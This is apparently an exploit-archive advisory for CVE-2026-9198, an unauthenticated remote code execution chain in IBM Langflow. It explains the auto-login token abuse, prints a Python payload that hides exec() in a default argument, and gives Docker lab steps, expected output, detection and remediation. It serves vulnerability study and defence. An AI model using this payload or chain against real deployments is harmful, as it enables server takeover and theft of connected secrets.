IBM Langflow OSS Unauthenticated RCE via Auto-Login + validate/code Chain (CVE-2026-9198)
Published: 2026-07-31 • Researcher: ywh-jfellus (corroborated by 0xdak and 0xgh057r3c0n)
Exploitation signals
Confirmed exploited in the wild. Added to CISA KEV 2026-08-04. Federal remediation deadline 2026-08-07.
EPSS 17.1% · 97th percentile
- Severity
- Critical
- CVE
- CVE-2026-9198
- Category
- web
- Affected product
- IBM Langflow OSS (visual AI/agent-flow builder)
- Affected versions
- 1.0.0 through 1.10.0
- Disclosed
- 2026-07-31
- Patch status
- Patched
Tags
References
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-07-31 |
| Last Updated | 2026-07-31 |
| Author / Researcher | ywh-jfellus (corroborated by 0xdak and 0xgh057r3c0n) |
| CVE / Advisory | CVE-2026-9198 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Status | Weaponized |
| Tags | langflow, ibm, auto-login, code-injection, cwe-94, unauthenticated, rce, python-exec, ai-agent-framework |
| Related | N/A — distinct from the unrelated CVE-2026-33017 (a different Langflow RCE via the flow-build endpoint); see Notes |
Affected Target
| Field | Value |
|---|---|
| Software / System | IBM Langflow OSS (visual AI/agent-flow builder) |
| Versions Affected | 1.0.0 through 1.10.0 |
| Language / Platform | Python (FastAPI backend) |
| Authentication Required | No |
| Network Access Required | Yes — direct reachability to the Langflow HTTP API (default port 7860) |
Summary
IBM Langflow OSS ships an /api/v1/auto_login endpoint that, when the deployment has LANGFLOW_AUTO_LOGIN enabled (a common/default posture), will mint and hand back a fully-privileged SUPERUSER JWT access token to any caller — no credentials, no session, nothing. That token can then be used against /api/v1/validate/code, an endpoint intended to lint/validate user-submitted Python component code, but which actually evaluates the submitted source. By abusing Python’s semantics that default-argument expressions are evaluated at function-definition time (not call time), an attacker can smuggle an exec() call into a function signature’s default value and have arbitrary code run on the server the instant the code is “validated” — before the function is ever invoked. The command output is exfiltrated by deliberately raising an exception whose message is reflected back in the response’s function.errors[] field. The end result is full unauthenticated, pre-auth remote code execution with no user interaction required.
Vulnerability Details
Root Cause
Tracked as CWE-94 (Code Injection). Two distinct flaws chain together:
- Auto-login token minting (
/api/v1/auto_login) — when auto-login is enabled, this endpoint issues a valid SUPERUSER JWT to an unauthenticated caller with a simple GET or POST, with no verification of who is asking. - Unsafe code validation (
/api/v1/validate/code) — this endpoint accepts a Python code string and compiles/executes it in order to “validate” it. Because Python evaluates default-argument expressions immediately when the enclosingdefstatement is executed (i.e. at definition time, well before the function is ever called), a payload such as:runs thePython1 2def poc(_=exec('raise Exception(__import__("subprocess").check_output("id", shell=True).decode())')): passexec()payload the moment the validator parses/defines the function — no explicit call ofpoc()is needed. Wrapping the command execution in a raisedExceptioncauses the command output to be captured by the endpoint’s own error handling and reflected straight back in the JSON response body (function.errors[]), giving the attacker both code execution and full output retrieval in a single request-response cycle.
Attack Vector
- Unauthenticated
GETorPOSTto/api/v1/auto_loginon the target Langflow instance; parseaccess_tokenout of the JSON response. - Using that bearer token,
POSTa crafted Python payload (in the form above) as thecodefield to/api/v1/validate/code. - Read the command output back out of
function.errors[0]in the response body.
No authentication, no CSRF token, no user interaction — a single unauthenticated HTTP client can complete the whole chain in two requests.
Impact
Full unauthenticated remote code execution on the host running Langflow, as the process user running the Langflow backend. Given Langflow is commonly deployed to orchestrate AI/agent pipelines with credentials to LLM providers, vector databases, internal APIs, and other backend services, compromise here typically yields a foothold with broad downstream access to whatever secrets and services the Langflow instance was configured to reach.
Environment / Lab Setup
OS: Any Docker host (lab verified on Linux)
Target: langflowai/langflow:1.10.0 (vulnerable) or :1.10.1 (patched), + postgres:16
Attacker: Python 3.8+ with the `requests` library
Tools: poc.py (this folder), Docker + Docker ComposeSetup Steps
| |
Proof of Concept
See
poc.py,vulnerable/docker-compose.yaml,patched/docker-compose.yaml, andupstream-README.mdin this folder — mirrored unmodified from ywh-jfellus/CVE-2026-9198. Verified before ingestion: read the full 51-linepoc.pyend-to-end — it genuinely implements the two-step chain (auto_login token mint, then the default-argumentexec()payload against validate/code), targets a self-contained local Docker lab (postgres:16 + langflowai/langflow:1.10.0 vulnerable / 1.10.1 patched), and prints a red[!]line with the liveidoutput on success or a green[-]line on a patched target. No obfuscation, no unrelated network calls, no destructive behavior.
Step-by-Step Reproduction
Bring up the vulnerable lab — Docker Compose stack with Langflow 1.10.0 and
LANGFLOW_AUTO_LOGIN=trueShell script1docker compose -f vulnerable/docker-compose.yaml up -dRun the PoC against it — mints an unauthenticated SUPERUSER token, then triggers
exec()via validate/codeShell script1python3 poc.pyConfirm the fix on the patched stack — same PoC against Langflow 1.10.1 should no longer succeed
Shell script1 2 3docker compose -f vulnerable/docker-compose.yaml down -v docker compose -f patched/docker-compose.yaml up -d python3 poc.py
Exploit Code
See
poc.pyin this folder (full, unmodified upstream source).
| |
Expected Output
[!] http://127.0.0.1:9999 is vulnerable to CVE-2026-9198: uid=0(root) gid=0(root) groups=0(root)Detection & Indicators of Compromise
Detection tooling: the official nuclei-templates repository ships http/cves/2026/CVE-2026-9198.yaml (author YesWeHack, verified: true), which implements the same two-step auto_login-then-validate/code chain for detection purposes and matches on a uid=...gid=... regex after running id — an independent cross-reference confirming the exec()-via-default-argument technique described above. That template itself cites the ywh-jfellus and 0xdak repos as its PoC references.
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to Langflow OSS 1.10.1 or later. |
| Workaround | Do not enable LANGFLOW_AUTO_LOGIN on any deployment reachable from an untrusted network; if auto-login must remain enabled for local development, restrict network exposure of the Langflow API entirely (loopback-only / firewalled). |
| Config Hardening | Disable or tightly scope /api/v1/validate/code at a reverse proxy / WAF layer for any instance where code validation is not an intentionally exposed feature; enforce authentication in front of the entire Langflow API regardless of auto-login state. |
References
Notes
Verified before ingestion per this archive’s verify-before-ingest standard: the real file contents were read directly (not just repo metadata or README claims) for all three candidate PoC repos before selecting one to ingest.
- ywh-jfellus/CVE-2026-9198 was chosen as the canonical/primary source ingested here because it includes a genuinely self-contained, reproducible Docker lab —
vulnerable/docker-compose.yaml(postgres:16 + langflowai/langflow:1.10.0,LANGFLOW_AUTO_LOGIN=true) andpatched/docker-compose.yaml(same stack on langflow:1.10.1) — letting the exploit be demonstrated both failing-vulnerable and failing-patched with no external target dependency. The author account is thin (created 2026-03-24, 5 repos, 3 followers) but the repo content itself is legitimate and functional; other repos on the account contain real CVE PoCs. - 0xdak/CVE-2026-9198_exploit (181 lines, CLI with
-t/-c/--shell/--lhost/--lportflags; account active since 2019, 24 repos) and 0xgh057r3c0n/CVE-2026-9198 (243 lines, more polished CLI with a pseudo-shell; account active since 2023, 63 repos, 67 followers) were independently read in full and confirmed to implement the same two-step auto_login → validate/code chain — not stubs, not phantom claims. Their optional reverse-shell modes only connect to an operator-specified host/port (no hardcoded C2). Both are cited above as corroborating alternate implementations, not duplicated as separate archive entries. - No scam/malware signals were found in any of the three repos: no payment/Telegram gating, no obfuscation, no hidden droppers or phone-home behavior, and no curl-pipe-to-shell install instructions (plain
git clone+pip install). - Distinct from CVE-2026-33017 — an unrelated Langflow RCE via the “flow build” endpoint, a different vulnerable code path entirely. General web search results on Langflow RCEs are noisy and tend to mix these two CVEs together; this entry covers only the auto_login/validate-code chain (CVE-2026-9198).
- The official nuclei-templates detection template (
http/cves/2026/CVE-2026-9198.yaml, author YesWeHack,verified: true) independently corroborates the exploitation mechanism: its detection payload matches the same exec()-via-default-argument technique used in the PoC scripts above, and it cross-references both the ywh-jfellus and 0xdak repos as its own PoC references.
| |